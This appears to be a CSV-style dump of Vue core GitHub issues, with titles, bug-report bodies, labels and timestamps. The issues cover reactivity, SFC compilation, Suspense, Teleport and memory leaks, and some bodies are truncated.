    </div>
</template>

<script setup lang=""ts"">
    import { h } from 'vue'
    import { toast } from 'vue3-toastify'
    import AppNotification from './components/AppNotification.vue'

    const showNotification = () => {
        const vnode = h(AppNotification)
        ... [TRUNCATED]",,2025-02-10T07:16:08Z,2025-02-10T07:34:46Z,1
vuejs/core,2841057911,Memory leak from orphaned listeners in v-model directive,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VNtu2zAM/RVWL06B1EGX7iVIs7VDgWXYpdhW7MXA4Fi0rVaWDF2cBEH+fZScW9eiT7bJc8ijQ8obdtO2aeeRTdjUFka0Diw6384yJZpWGwcbMFjCFkqjG0gImmQqU4VW1kFjK7gO+UHyGaXU8Ecbyc+S8wNAe+WQ70DOeKRUpkYjcJoaIWjT1rkihBTWoUJj+0bdRaM5yknEXqZQ6cAIRbVEyBWHCl0oigZVgSEpVOsdoMQGlYu82SwyQpAUcF34kEqJedejbtdzPkh2lOQciNPkTwjWG4S19lDnHXV73sfVuO8yhIXRSxtU58QovVJrsLpBJxq0UcO7FLwlHpFC345YXw9Hvbmf743AkLHgBHnx3xle8AYoo1ZDkzLK0rPQhoMud1UicZxCa9BayJhXcQ69QxmjJzzM99V722ytveSg9BIWCBwvDFahnUE+JIkkoUYDS+Hq46RihasUjFevnC2vctGPmpoEL60TUsaxPa8QNJQRYbDRHR5LtEa3aOR6SBnrJR2AyirApnVr0ItHLBxoRfbRlHmUMeBUgiZucof25XIN7Dnt33TUbzrtOH04KicJTl8A0/pyttnEvd5upyP6itHeo+5ClNcZ2+00+bhb0hCzVfCV0+t+eAxGPXnhnSOVHwspiqcjnzby7FAqNt3FP0DycDqwBCaQfDv9DtL6qtRhOjo5ARsyZ8mNUlTpo9WKrvUmiMhYoZtWSDQ/WifIoYxNIGZCLqeru/wSY+GKDvfxosbi6ZX4o12FWMbuaS5oOszYIedyQyPu03e/vuOK3g9JsstLQr+R/Il0w33Q2MNuveIk+wQX1c7jz0mo6re9W9Fs7f5QQWhAbiM+Y/TD+vTG0Y9yx+lV5GVqSy7+7WgBCU0GjtP36eWYbf8BWqPGGg==

### Steps to reproduce

the linked Vue SFC Playground shows a minimal setup. To reproduce:

1. go to browser console and get reference to input element
> const el = document.getElementById('element') // make sure you have a reference to the element, browsers are funny sometimes
2. use the getEventListeners API to see events tied element
> getEventListeners(el) // returns record of events
3. press ""unmount input"" in UI
- input should now be de-registered, together with listeners
4. run getEventListeners... [TRUNCATED]",,2025-02-10T00:29:51Z,2025-02-10T00:53:34Z,1
vuejs/core,2839456954,Vue onBeforeUpdate run after  DOM update,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v2zAM/SucgCEuYNgZtl3SJNga9LABW4d93HxxbNpWo0iGJKcpAv/3UVLsfGDLyRb5SD4+kgf2uW2TXYdsxuam0Ly1YNB27TKTfNsqbeEAGqsYSqy4xJUio0RpY1Dym+qkxTKGBnqotNrChDJNxshVw0V5dCSpf7lSBMhkoaSxwM2qwWKDJSxclajKhcG7k38lONV6kuKVAFcMokMmIZCNWq1aExNVI5Sln9xabaC/A48BCNm2ge9VLecfe4miO1gsKdERm+xy0SFFWE2f/gjXVFRLOGKDDYBXEF2EUfkB6nkl1EHeCUtxfQjynz7OpMs8T8MASHp6WNy2IrdIL4D5SQj/Jsu6s1ZJ+FQIXmwWGTuX8s34yNjycDiTue/naYgc8oQhGfsqkLK88NI2M3g3nb69hwZ53dgZfJy2+3tY58Wm1tRfOYM1dZcxSAO59ILdPD2jzmJmDalf8Tp5NkrSmnm9MlbQHLlA/dRaTtPJ2GxQMmO5EOrlq7c53UmfYC9cF/+wP5u9s2Xsh0aDekfcRp/NdY02uB9/fcc9/Y/OrSo7Qegbzp9olOgcxwB7IAGI9hnOs/3iV57L+rd53FuUZmjKER2m7NB0AG6F/9f6ie775IOPo+UgFcfruXWoSj5gpTT+aUuSP3ZrfnWZl4hh210ddyJKYCJUHU06757QUt5czMtR938B15Zysg==

### Steps to reproduce

- click the button
- observe the console log

### What is expected?

Child.vue should not be updated

### What is actually happening?

Child.vue should be updated

### Any additional comments?

Discussed in https://github.com/orgs/vuejs/discussions/12770",:hammer: p3-minor-bug,2025-02-08T03:35:48Z,2026-02-09T08:08:41Z,0
vuejs/core,2838269669,[BUG]: `withDefaults` Fails When Using Function Declarations With Props,"### Vue version

3.4.15

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUslOwzAQ/ZWRL7RSlVDBKaStWCWQgAo4+pKmkzYlsS3b6aIq/87YaUKRgN7secs8z3jPrpUK1hWyiMUm1bmyYNBWCopELEacWcPZmIu8VFJbuJWlgkzLEs6C0F2c9OyKizhsxESli8VSFYlFugHEXhTNEk12Q84gpHIcHnHYgNqkUmT5IlgZKSjL3ik5S0maF6hflc2loCgReMRhSVHIzZOvWV3hoK2nS0w/f6mvzNbVOJtqNKjXyFmH2UQv0Dbw/fsLbuncgaWcVwWx/wHf0Miichkb2k0l5hT7iOfTPvop5mLxYe63FoVpH+WCOmbt+ZzRVN3U/nr6d9yL4NLruKhpiu1GTizT7hTC826qpTIwamwzKScRiKqcoaZ9AtC+jgvUgQvakbGgDrpNbpd3mCVVYU1vjlku0FvGB+txrz/ozCPoeV0fRuP2IZqyadH4BdQPJhM4982bOVDppIysnWzYyer+ie+4HI4fXJ79/siiruOQgJZw4zp3BBetI/z8ufUXUsMTpg==

### Steps to reproduce

Change the default props factories to use object function declaration syntax and notice the output vanishing due to the error thrown.

### Working code

```ts
const props = withDefaults(defineProps<MyProps>(), {
  foo: (props) => {
    return props.bar ?? 0;
  },
  bar: (props) => {
    return props.foo ?? 0;
  },
});
```

### Breaking code

```ts
const props = withDefaults(defineProps<MyProps>(), {
  foo(props) {
    return props.bar ?? 0;
  },
  bar(props) {
    return props.foo ?? 0;
  },
});
````

### What is expected?

Default prop value resolution with props arg to work as usual irrespective of the function syntax used.

### What is actually happening?

Default prop value resolution with props arg is not working when using the object function syntax, it only works when arrow function syntax is used.

### System Info

```shell
System:
  OS: Linux... [TRUNCATED]","scope: sfc,has workaround,:hammer: p3-minor-bug",2025-02-07T14:13:50Z,2026-02-09T08:06:24Z,0
vuejs/core,2835870047,defineModel has wrong type when used with `@update:model-value` event,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUslu20AM/RViLpYBQ3I3FHBlo1sOLdAFbXobIFYlSlE6mlFncRy4+veSo1o1iiZBLgKHfKQeH99BvOr7dBdQrETuStv2Hhz60IMqdLOWwjspNlK3XW+shwNYrGGA2poOZtQ2m0pvTNf/yacZP3gqlaXOMthWhccttA6K0odCqRvYvqUU/IKgK6xbjdUWvgcP/hItMlAb8Dc9AlprrNR10KVvjQajv/U8jdsTDlbA4RwOUgOURjujMFWmSWan0NkCOJwzoUHqPBuXpdXo4bHrFVXpBZDHTV6G2LriD8lwOkoKyAiZZ1ObWJBO9Ou6bdIrZzSJGdlIUdKsVqH91DN50nI18uQayWCu38ectwEXx3x5ieWP/+Sv3J5zUny26NDuiMhU84Vt0I/ls68fcU/xVOxMFRSh7yh+QZItMMcR9prOQrRPcJHtu3jrVjfn7mzvUbvjUkyUkUPES0G3ZxlvW/0v3Sfp09hHVyEVj765x418ZQ/EHFV00RpGD33gTM6pTTLjc9HV4z8t/gytxWoFdaEcMR2iEWj2eduhCT5J5rDejOBpbrorVODpGq+jyRLqGhbwbLmcv3hI/+Tx2P7oYjkOuMOE/9rrYoeWxSZhSLH08XMx/AaVXUHO

### Steps to reproduce

- Run the playground
- Check the console
- The `onUpdateDate` method is called twice, the first time with a `Date` the second time with `undefined`. The typescript types don’t reflect this behaviour

### What is expected?

The types should indicate that the event payload can be `Date | undefined`

### What is actually happening?

The event payload is typed as `Date`

### System Info

```shell

```

### Any additional comments?

Types as they show up in my IDE (VS Code):

- `const modelDate: ModelRef<Date | undefined, string, Date | undefined, Date | undefined>`
- `(property) ""onUpdate:date""?: ((date: Date) => any) | undefined`

Please note that the SFC Playground (at least for me) doese not show the types correctly for some reason","scope: types,language-tools",2025-02-06T15:37:27Z,2025-02-19T05:53:29Z,8
vuejs/core,2835859526,[Teleport] - Updating component inside Teleport causes HMR to crash,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-grzg8vpe?file=src%2FApp.vue

### Steps to reproduce

In App.vue update the slot content to anything else.
Also happens if you change the ""Modal.vue"", as an example change the class ""modal__dialogs"" to ""modal_potatos"".

In the browser's console it shows:
TypeError: Cannot set properties of null (setting '__vnode')


It's related to reactivity inside the component Modal.vue, in the computed ""modalClasses"", remove the reference to the ref ""isVisible"" and the error will not happen, or if the value of ""isVisible"" is set as ""true"" (line 16).

// Not sure if the title is accurate

### What is expected?

I expect the modal component's hot reload to work normally. 

### What is actually happening?

Hot reload stops working after the error, need to refresh the page.

### System Info

```shell
Using the stackblitz stack.

```

### Any additional comments?

_No response_","scope: hmr,has workaround,:hammer: p3-minor-bug",2025-02-06T15:33:03Z,2025-05-02T09:18:02Z,1
vuejs/core,2828327326,Memory leaks in vue-router,"### Vue version

3.5

### Link to minimal reproduction

https://github.com/Proxx07/vue-router-test

### Steps to reproduce

Just navigate between routes and get heap snapshots.

heap snapshot at first visit https://prnt.sc/KrCF8rvF3fJY
heap snapshot after navigating between ""main"" and ""about"" pages 50 times https://prnt.sc/VevR3ZvU7QsG
heap after refresh https://prnt.sc/oAaj6JIIO1R6

reset heap and refresh browser https://prnt.sc/hMyKwY5pMDXk
heap after navigating between ""main"" and ""big-data"" pages 10 times https://prnt.sc/YFGIy_YcrD9n
heap after navigating between ""main"" and ""big-data"" pages 50 times https://prnt.sc/QESC4KfkxKMZ
similar behavior in prod https://prnt.sc/Wr3AmX7DbrVg

### What is expected?

Heap shouldn't increase constantly every time during navigation

### What is actually happening?

Heap rewriting even you've visited route already untill page reloading

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-03T19:16:44Z,2025-02-04T00:13:19Z,1
vuejs/core,2827986908,SFC components without or with empty script tag don't have a name,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Us1OAjEQfpWxZ3aJQS8ESNRwkIMawVsT0+wOS6HbNv1ZSAjv7rQryMFwaabfT+eb2T2yJ2vLLiIbs8ldUcCXrkzbog4QNgi+ctJSKRoQugZlzA5ETy2WYGKwMZSwoiu5rNHJt5dKJYUGhxXKDrNcixaBp26cQVHMuE7t6PxtoYRuppwFT7THEC0pKqM9NUM6puRdG8MZOYa9hQT5HUICtlaJgHQDmNSyg1wBrMibsSGBM4DkvhKzATWkLmvZlFtvNC3hmOScpXGkQvdug6QUnI0hM4kTSpn9ImPBRRyc8WqD1e4ffOsPCePsw6FH1yFnFy4I12Do6fnyDQ9UX8jW1FGR+gb5id6omDL2sueoa4p9pctpX+njuCB1s/LzQ0Dtz0OloEl5ynrO6E94uTH6X9xR+ZB9XJ9oi98duvQmLXBUPpb3I3b6AcpFxJE=

### Steps to reproduce

1. Open the [Playground](https://play.vuejs.org/#eNp9Us1OAjEQfpWxZ3aJQS8ESNRwkIMawVsT0+wOS6HbNv1ZSAjv7rQryMFwaabfT+eb2T2yJ2vLLiIbs8ldUcCXrkzbog4QNgi+ctJSKRoQugZlzA5ETy2WYGKwMZSwoiu5rNHJt5dKJYUGhxXKDrNcixaBp26cQVHMuE7t6PxtoYRuppwFT7THEC0pKqM9NUM6puRdG8MZOYa9hQT5HUICtlaJgHQDmNSyg1wBrMibsSGBM4DkvhKzATWkLmvZlFtvNC3hmOScpXGkQvdug6QUnI0hM4kTSpn9ImPBRRyc8WqD1e4ffOsPCePsw6FH1yFnFy4I12Do6fnyDQ9UX8jW1FGR+gb5id6omDL2sueoa4p9pctpX+njuCB1s/LzQ0Dtz0OloEl5ynrO6E94uTH6X9xR+ZB9XJ9oi98duvQmLXBUPpb3I3b6AcpFxJE=)
2. Look at the JS output on the right (note that the generated component is functional and doesn't have a name)
3. Uncomment the `<script>` block
4. See the change in the way the component is defined including the name infered from its file

### What is expected?

Even if the component is defined as functional component, I'd expect it to have the name inferred from it's file name. 

### What is actually happening?

The component is anonymou... [TRUNCATED]",🔩 p2-edge-case,2025-02-03T16:28:51Z,2025-05-09T09:13:36Z,1
vuejs/core,2827300623,Async component's `loadingComponent` never gets mounted when wrapped in `<Suspense>`,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#__PROD____SSR__eNp9Uk1v2zAM/SuELnYAz8aQ7RI4xbqhh+2wFe1u0zB4Np2oVSRDH24Gw/99lJRkadD1EMQkH58eHzmx62EoR49sxWrbGjE4sOj8cMWV2A3aOJigw14o/KQpVqhcAdsCDPbFoXBt/6j2VIUZeqN3kBFpxhVXrVbWwQVo/WJvPnEFIHXToVlBvoD1FSh8glsiFBZzg1bLEUN6mhfFESzU5kSxulSbOCFNdSQ95IDGcN6oQ3abZ50YswJ+ZAfa7OciIefwN1MQfseZhL1DRVKxo3nIkLxvpEUC1FWykkykwOFukI1DigDq3945reBDK0X7uObsGYkzHjmLQCB6Ik2lFUzT+XNz1FNXiSwR33s7oLLpGYovHB/fiP7Zc5xBlTqrs9a6OpPLCuYszdqLTflgtaIjic5x1hKvkGi+DU6QF5yRwvQuZ42U+ulLzIV54ppizxbbxxfyD3Yfcpzd0n7RjOTAqeYas0GXyjf3X3FP36fiTndeEvqV4l24GB80JthHrzqSfYaLaj/HU6eFf7c3e0dWHIeKCwmrj3jO6KiDpf8b/Z/cZfku9tHFkIu/RjSBkwxclu/Lt0s2/wXf2Sks

### Steps to reproduce

Click on the button in the reproduction to mount the async component

### What is expected?

The `loadingComponent` of an async component never mounts when it is wrapped in `<Suspense>`.

Here is an async component, which should mount the loading component after the default loading delay:
```ts
const AsyncComponent = defineAsyncComponent({
  loader: () => new Promise((resolve) => {}),
  loadingComponent: defineComponent({
    setup: () => {
      return () => h('div', ['loading']);
    },
  }),
})
```

### What is actually happening?

The loading component doesn't get mounted.

### System Info

```shell

```

### Any additional comments?

originally reported in https://github.com/nuxt/nuxt/issues/30813
(linking)",,2025-02-03T11:55:50Z,2025-02-03T12:54:31Z,1
vuejs/core,2826295578,why not Reorder getTargetType check after proxyMap lookup in createReactiveObject,"### Vue version

3.4.30

### Link to minimal reproduction

https://codesandbox.io/p/devbox/vigilant-lamarr-45l4f9

### Steps to reproduce

1. Create a reactive object a using reactive({ a: 1 }).
2. Create another reactive object b using reactive({ b: 2 }).
3. Assign markRaw(toRaw(a)) to b.a.
4. Check if b.a === a using strict equality (===).

```
import { reactive, markRaw, toRaw, isReactive } from 'vue';

const a = reactive({ a: 1 });
const b = reactive({ b: 2 });
b.a = markRaw(toRaw(a));

console.log(b.a === a); 

```

### What is expected?

Since markRaw is used to mark toRaw(a) as a raw (non-reactive) object, b.a should return the original raw object a.
Therefore, b.a === a should return false, as b.a should not reference  the same reactive proxy a.

### What is actually happening?

but now b.a === a returns true 

### System Info

```shell
System:
    OS: macOS 15.1.1
    CPU: (8) arm64 Apple M2
    Memory: 294.02 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.12.0 - /opt/homebrew/bin/node
    npm: 10.9.0 - /opt/homebrew/bin/npm
  Browsers:
    Chrome: 132.0.6834.160
    Safari: 18.1.1
```

### Any additional comments?

Suggestion: Reorder getTargetType check before proxyMap lookup in createReactiveObject.

While reading the Vue 3 source code, I noticed that in the createReactiveObject function, the proxyMap lookup is performed before the getTargetType check. I believe reordering these steps could improve both the logical clarity and performance in cert... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2025-02-03T03:24:01Z,2025-02-19T06:25:31Z,1
vuejs/core,2825913568,Readonly Ref cannot be triggered by `triggerRef`,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kstO60AMhl/Fmg2tiFKhc1ZVqXQOAgkkLgKWs4kSJw0kdjSXUhRlzYPxYngmJLBA7Ma/f4+/8bhX/7ou3XtUa7Wxuak7Bxad77aa6rZj46AHpmv25LBIwJm6qtDcY5mAwaxgal4TsLusafhFVBigNNzCkVx5pElT6Sl3NRN4ixfMiyX0mgByJuugZIbTb9WLHmgNJzAsQynAXJwVxVQpKnO6zxqPKR0fB2kY3Ua4DQmvGNYz3UKiZRJuCL5oHZtH32dCKCa+YJgfvJCup9uxcWQIh68ZxLthtYI8I2I3Zebeciilp1RtVuNwZawSOGy7JnMoEcBmd7LtIwwMw2YlUbDPlvc3TSpRzgp1WVfpk2WSz4pIWuXcdnWD5rYLc7JaracpaRWnehU1Zzwmk57vMH/+QX+yh6BpdWfQotmjVnPOZaZCN6bPH27wIOc52XLhG3H/krxHy40PjKPtv6dCsL/5Iu1lXLmaqkd7fnBIdnpUAI1fHf1ayXqd/fL0L9w/6d/PFRnU8AEddfwK

### Steps to reproduce

1. Create a `shallowRef` and create a variable to wrap the shallow ref with `readonly`
2. Update the original `shallowRef` nested value
3. Call `triggerRef` for the readonly value

```ts
function useFoo() {
  const foo = shallowRef({ n: 1 })

  function add() {
    foo.value.n++
  }

  return { foo: readonly(foo), add }
}

const { foo, add } = useFoo()

onMounted(() => {
  add()
  triggerRef(foo) // cannot trigger the readonly ref
})
```

### What is expected?

The readonly ref should be triggered by `triggerRef`.

### What is actually happening?

It cannot be trigger and output the following warning message.

```
[Vue warn] Set operation on key ""version"" failed: target is readonly. 
[Vue warn] Set operation on key ""flags"" failed: target is readonly. 
[Vue warn] Set operation on key ""next"" failed: target is readonly. 
[Vue warn] Set operation on ... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2025-02-02T17:24:10Z,2025-06-05T02:19:17Z,0
vuejs/core,2821856464,"Can't have a ""</script>"" text in the script tags","### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU9PwzAMxb9K5PPUCcFpKpUATQIOgIBjDqsy03Xkn2JnVKr63Um6rfSAdrPfe05+lnu48744RIQVlKRC61kQcvSVtMpZYqEisTOPbLS4FZtTpiqXp2Ij7VRLmxpG43XNmDohyt1V1ffzN4ahXCYxT82SsACm9N9X2xR7cjbR9HlegnLGtxrDq+c28UhYidHJXq21+3keNQ4RF2dd7VB9/6PvqcuahLeAhOGAEiaP69AgH+31xwt2qZ5M47ZRp/QF8x3J6ZgZj7H7aLcJe5YbaZ+Md4Fb23zSumO0dF4qg+bkMOYlpJM8XFj9D/e6uBnnpB1g+AWb45pO

### Steps to reproduce

Just launch this small repro

### What is expected?

It should display `<script></script>`

### What is actually happening?

`Invalid end tag.` error

### System Info

```shell

```

### Any additional comments?

I guess I'm the only one who encountered this error in a real usecase 😅...",,2025-01-30T21:28:36Z,2025-01-31T01:07:47Z,1
vuejs/core,2820385608,@vue/compiler-sfc can't compile  this code correct,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1PAyEQ/SuEU5s022j1UtcmanrQgzbqkcRs6OxHZYHAsK7Z7H932LUfh6ZAyPDeY3gzdPzB2qQJwJc89dJVFpkHDHYltDTaI+tYk6kArGf3bAt5pWHjjPWT6Z3Q44w6oyBRppgM2qnQedASK6NZDP5R1gmN7pf2XmYoyxgM61yCdD66IR90QKityhDolJbXqzyd0x5FJwSfcfSUKq+KZOeNporoBcYEl6a2lQL3ZqMlL/gyWmE0BM+UMj8vA4YuwGyPyxLk9xl859uICb5x4ME1IPiBw8wVgCO9/niFluIDWZttUKS+QL4DtSFEj6PsMegt2T7RDW6fa2scVrr49OsWQft9UdFoVPaDXnD61qcLpR/tLpKb4R79BnXxqwEXc1IDF8ltcrXg/R/LWbpE

### Steps to reproduce

1. define a prop with any name(Ex: `value`)
2. input any code, to use the prop(Ex: `value`),`console.log(value)`
3. before the prop use, input a function.It's param use prop's name(Ex: `value`),and function body insert an empty `try-catch` like demo.
4. will show error `value is not defined`.

### What is expected?

Step 2 's code will compile into `console.log(__props.value)`

### What is actually happening?

In @vue/compiler-sfc's code https://github.com/vuejs/core/blob/7ecd2a22c799d85b0c9857e48d97de5755197e87/packages/compiler-sfc/src/script/definePropsDestructure.ts#L255

and 
https://github.com/vuejs/core/blob/7ecd2a22c799d85b0c9857e48d97de5755197e87/packages/compiler-sfc/src/script/definePropsDestructure.ts#L131

when walk into function. And `currentScope.value` is not revert to `true`.cause this error!

In my opinion, this is a rather serious problem.
For example: 
After the first use of props(`value`), and before the second use of it, if there is a function who... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2025-01-30T10:00:56Z,2025-05-13T14:17:25Z,0
vuejs/core,2817095672,defineModel assigned a value cannot be read,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUl1L7DAQ/Stz89IVvC2y974s9cJVV1DwA/UxILWdrtE0LUlaF0r/u5O0m9X1A3xL5pw5OSczPfvfNHHXIluw1ORaNBYM2rb5x5Womlpb6EFjCQOUuq4gImoUoOO6aqZ6nLiLUyI4r5UhHZtpe5JZhEMnMdvjKk3GN0idLharRhJON4DUi3W/q7pAuQi9h5yFM2eQEDdN3jSyfWYNvVeKVfxkakU5eifHWU56QqK+aqwgP5wtwCMOy6SsX859zeoW9zf1/BHz50/qT2btapxdazSoO7ISMHK3QjvCy9tLXNM5gJSmlcT+BrxBU8vWeRxpR60qyPYbnnd75r9cqNWdWa4tKrMJ5Yw65uD5nNEI3Fd+FX1rdx7/8X1cDfSLm/H9bBE+TrrAUii8cFOcRQGIaPgjF1XxGXMqOx5XEifN7ea4EnG2BVHC7FfQj7tMtrg3xtypUk90nik4IL+weX8LneLDBPm+AOyoTL0BfqdDX/j9chei8weAW59LGOj7KeMwpA96QpcUccRc2IFUqTkZu3f3/r5D7baAJjaP/8YHcza8AtXQR/o=

### Steps to reproduce

This baffled me for the last few hours. If a defineModel is assigned a value, that value cannot subsequently be read. This behavior differs from refs, which can be read as soon as they're written, and my basic understanding is that `defineModel` defines a type of ref? It also seems to only happen when an undefined value is assigned to the model, which then I guess gets updated and somehow interrupts value retrieval for the model? 🤷‍♂ 

### What is expected?

Look at this component:
```ts
<script setup>
import { ref } from 'vue'
const startDate = defineModel('startDate')
const endDate = defineModel('endDate')

let start = ref()
let end = ref()
if (!startDate.value) {
  startDate.value = 'Jan 1'
  endDate.value = 'Feb 1'
  start.value = startDate.value
  end.value = endDate.value
}
</script>

<template>
  <div>
  ... [TRUNCATED]",,2025-01-29T02:30:02Z,2025-02-01T02:39:17Z,4
vuejs/core,2814458327,KeepAlive with RouterView nested or not and Keyed components,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqlWG1T20YQ/isXk8Y2tSVC0kxHGCaEMKWhFCbQ9kOcaWRrbR9Id+rdydjj8X/v3oukkzGEmTiDrdvb3dvbffZFWbWymLLgVraiFs1yLhRZkbGAWMFxnpM1mQiekfa8gPaQVQyCFwpEtRuEllCzaNlyL87zwMoPWaW5g3/dISMkKCR0rLhdZ7xgqtPeQbF2t9VrOXG0b6Agy1OUP9KMg9nrozNIU64PezEIcWnIufnBB6kEZ9Ojk0IIYMraTPJYzaJB6PbIakVemo1gUqTpFW6S9dqoCa2eAYvnpcLPxso/KLsjih8OW+GwdfQbx2dyxjMYhPX+oxLxCCmV2LFePUsuB56nUAlemeUDyUFYWjvQUW1qOwfIj1M6h9DxOpZB6LkVl3IsaK6IBFVoF7iAbuiogrtBd4FGBxstRxg/G9tAbUHYBWRcLM+oVPjTc0Sr0Udev0JXZY52+N8U7is7SoIzoIShdnCDr6I0Ga1DG5w1aZNVSM42WEtSBXRYGOYxZ9JBT5DDxg07Kx2Gmb18tM0jnW5PsxhpGZEvNpwri2HSDtvoMo5GMYR3VLtkbaR8RoO6JnftmYfsFmxN/tobSJ7RNMGcqkxCYScb5cYVm7KVx0xuEfLVnfoVv9eY9ggTP4A6130YkjRmU0wDJTEDPHQZvG4UhX1bFLAe7DfBjWc0gv9jh1Sqth5kodLP4hwrK2d4lAn20G3gCRExFE17j8aEGP2xonOqlnpv2JoplcsoDFHlUlt7KwMupiE+BQLrI80gAJn1R4LfS8yuW1Tp4jhs1SnT1FWw/G4aYGC0Gsfx/m3wJtgLE0ScR31ctzE2gbniPJX9OKePHfGA8f274F3wOkzpKETtIWUJLIxurRpxsUa/KYkJM6HTDa9pLNEUxGWuKCZUw3sxBvv+k6EpUUBl6HgG47st9Fu5sCZfCcDbzbGoVnsqFlPA8qy3T6//hAU+V5sZTwpdgp/Y/AySp4W20bJ9KFiCZnt8xtrfDQgom97I04UCJstLaUONNwy/CeTJE1evzX0TvPW8KNUyBRmMpS652BF6RJd6KzfiIgERkf18QdBYmpCdvb29A72VoTrK+iOuFM8i8novXxh6HicJGltR8JQhQ7XkiMTkZ/wzip10ChPMeJ9ztu+fXKuvDRiPx54BEdnDf/tOA16nWYgfzAGYjwmdE3NpTF9Ess6ZiExSWByY7whL6P0BuS2kopNlHyGGTkcrZR6PoT8CdQ/ADkzW22pmVXpLQyroBsVQU0rm/QkXeLStfQRdXbZrEt3BstoJdJFsHNPQZFOvn+quH5m23xRbrdyaxRms1wM3dBmBbZZhqm1eIWzcYYBp79+y4ccSKHWcBCQH5J4mutD/uvdT02G1/Xc4C/TjetB4eFb5/LzJA4cFzAFUnZQzwZaSiVB5a... [TRUNCATED]",,2025-01-28T02:09:29Z,2025-02-01T02:47:31Z,0
vuejs/core,2810372310,Detached dom nodes increases with Transition + Suspense,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/huang-julien/vue-transition-suspense-repro 
https://stackblitz.com/github/huang-julien/vue-transition-suspense-repro?file=README.md

### Steps to reproduce

- open chrome devtools -> performance monitor 
- check DOM nodes (+ JS heap size)
- click on `swap` button a lot of times
- see that DOM Nodes increases and never get flushed. You can also profile the detached elements in the memory tab of the chrome devtools

![Image](https://github.com/user-attachments/assets/4630d632-643c-4a3e-ace6-13db93cb6b69)

### What is expected?

DOM Nodes should be flushed

### What is actually happening?

It seems like DOM  Nodes are kept in a pending branch of Suspense.

We also have this issue with nuxt's pages when enabling transitions. Curiously, JS heap mem seems to flush correctly.

### System Info

```shell

```

### Any additional comments?

original issue: https://github.com/nuxt/nuxt/issues/30718",,2025-01-24T21:04:26Z,2025-01-26T09:16:12Z,1
vuejs/core,2808927892,deepmerge with arrayMerge option adds proxy to nested array,"### Vue version

^3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-4umr7oj9?file=src%2FApp.vue

### Steps to reproduce

Run the stackblitz and open the console.

### What is expected?

These weird proxied arrays should not be created?

### What is actually happening?

With the arrayMerge option, the nested arrays are merged with proxies. Now for example a localForage can't clone the object.

Without the option, both the reactive objects are merged and they have no nested arrays with proxy.

![Image](https://github.com/user-attachments/assets/111c7c0a-ea9c-432b-9107-f9f126ebfb3b)

### System Info

```shell

```

### Any additional comments?

Related issue on vuex-persist

https://github.com/championswimmer/vuex-persist/issues/271 (mine)

Other users reporting the same ""cannot clone error"" when migrating from Vue 2 to Vue 3.

https://github.com/championswimmer/vuex-persist/issues/232
https://github.com/championswimmer/vuex-persist/issues/235",,2025-01-24T09:11:45Z,2025-01-31T13:34:38Z,4
vuejs/core,2807813306,Transition and TransitionGroup e2e tests seem intermittent,"### Vue version

main @ 29216853d4eb2bc72c284bcc5234afbca9c81854

### Link to minimal reproduction

https://github.com/vuejs/core

### Steps to reproduce

run `pnpm run test-e2e` on macos

### What is expected?

No test failures

### What is actually happening?

Intermittent failures like:
```
AssertionError: expected '<div class=""test"">a</div><div class=""…' to be '<div class=""test test-appear-active t…' // Object.is equality

Expected: ""<div class=""test test-appear-active test-appear-to"">a</div><div class=""test test-appear-active test-appear-to"">b</div><div class=""test test-appear-active test-appear-to"">c</div>""
Received: ""<div class=""test"">a</div><div class=""test"">b</div><div class=""test"">c</div>""

 ❯ packages/vue/__tests__/e2e/TransitionGroup.spec.ts:449:40
    447|       await nextFrame()
    448|       expect(afterAppearSpy).not.toBeCalled()
    449|       expect(await html('#container')).toBe(
       |                                        ^
    450|         `<div class=""test test-appear-active test-appear-to"">a</div>` +
    451|           `<div class=""test test-appear-active test-appear-to"">b</div>` +

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/1]⎯

 Test Files  1 failed | 11 passed (12)
      Tests  1 failed | 87 passed (88)
   Start at  15:08:21
